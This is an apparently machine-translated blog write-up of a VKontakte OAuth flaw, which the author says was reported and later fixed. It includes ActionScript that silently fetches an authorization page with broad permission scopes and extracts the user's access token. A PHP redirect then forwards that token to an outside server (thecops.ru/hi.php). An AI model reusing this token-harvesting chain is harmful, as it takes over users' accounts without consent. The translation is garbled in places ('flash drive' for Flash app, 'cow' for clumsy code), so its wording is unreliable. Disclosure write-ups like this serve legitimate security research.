エントリー
この脆弱性は、約2か月前、またはそれ以上前に発見されました。
その後、情報が開発者に送信され、彼らはそれを正常に修正しました。
そのとき私には思えた。
すぐに、彼らはそれをまったく修正せず、その時点で開発者の注意を引いたメッセージへのアクセスを制限したことが明らかになりました。
アクセスを取得するプロセスは、カットの下で十分に詳細に説明しようとします。
検索する
実際、ユーザーの知識がなくてもapiにアクセスできるという考えは、スタンドアロンアプリケーションのメソッドの使用を開始するとすぐに現れました。
その瞬間、VKontakteはすでにoauth認証を使用していました。
特に注意が必要なことはありませんでした。api2.0と同じドメインでoauth承認が行われたため、 crossdomain.xmlファイルを使用して、任意のサーバーからリクエストを実行できました。
ためらうことなく、私は実装を書き始めました。
使用する
私はすぐに2つのことについて読者に警告します:
- 私のやり方は少し奇妙に見えるかもしれません。
- 私のコードはやや牛ですが、残念ながら、それ以外の方法はわかりません。
私の陰湿なトリッキーな計画は、ユーザーが認証ページを起動するフラッシュアプリケーションに導かれ、認証リンクがスパーされることを暗示していました。
行こう
ポイント1-フラッシュアプリケーション。
フラッシュドライブは適切なcrossdomain.xmlがあればどこでも無料のクロスドメインリクエストを実行できるため、これが認証リンクを正確に取得する唯一の方法でした。
フラッシュドライブのコードは簡単で、おそらくこれは少なくとも私にとって最も難しい部分です。 ActionScriptをほとんど知りません。
import flash.net.URLLoader; import flash.net.URLRequest; import flash.events.Event; var auth_page = new URLLoader(); this.addEventListener( Event.ADDED_TO_STAGE, onAddedToStage ); function onAddedToStage(e: Event): void { auth_page.addEventListener(Event.COMPLETE, auth_load); // auth_page.load(new URLRequest('http://api.vkontakte.ru/oauth/authorize?client_id=2725857&scope=offline,ads,notifications,groups,wall,questions,offers,pages,notes,docs,video,audio,photos,friends,notifi&redirect_uri=http://api.vk.com/blank.html&display=page&response_type=token')); } function auth_load(e:Event):void { var wrapper: Object = Object(parent.parent); var auth_str = auth_page.data; trace(); // iframe , wrapper.external.navigateToURL(new URLRequest('http://vkontakte.ru/app2725881#'+auth_str.toString().substr(auth_str.indexOf("location.href")+17, 162))); }
ちょっとしたトリックがあります。
ブラウザのセキュリティポリシーにより、Flashアプリケーションがリダイレクトできないというだけです。
しかし、VKは、ユーザーをVKontakte内のページにリダイレクトするための特別な方法であるドックから削除されました。
ただし、これは特に問題にはなりませんでした。なぜなら、 好きな場所にリダイレクトできるiframeアプリケーションがあります。
ポイント2-iframeアプリケーション。
iframeアプリケーションでは、ユーザーを指定されたURLにリダイレクトして、いくつかの置換を行う必要があります。
<? header('Location: '.str_replace(array('https','blank.html'), array('http', '//thecops.ru/hi.php'), $_GET['hash']))); ?>
これを行うことができます。
hi.phpページで、access_tokenを取得します。これには、メッセージを除くすべてのメソッドに対する権限があります。
良い例は、 こちらをご覧ください 。
ご清聴ありがとうございました。
UPD:
非常に賢明ですが、生成された修正。
この例は無効になりました。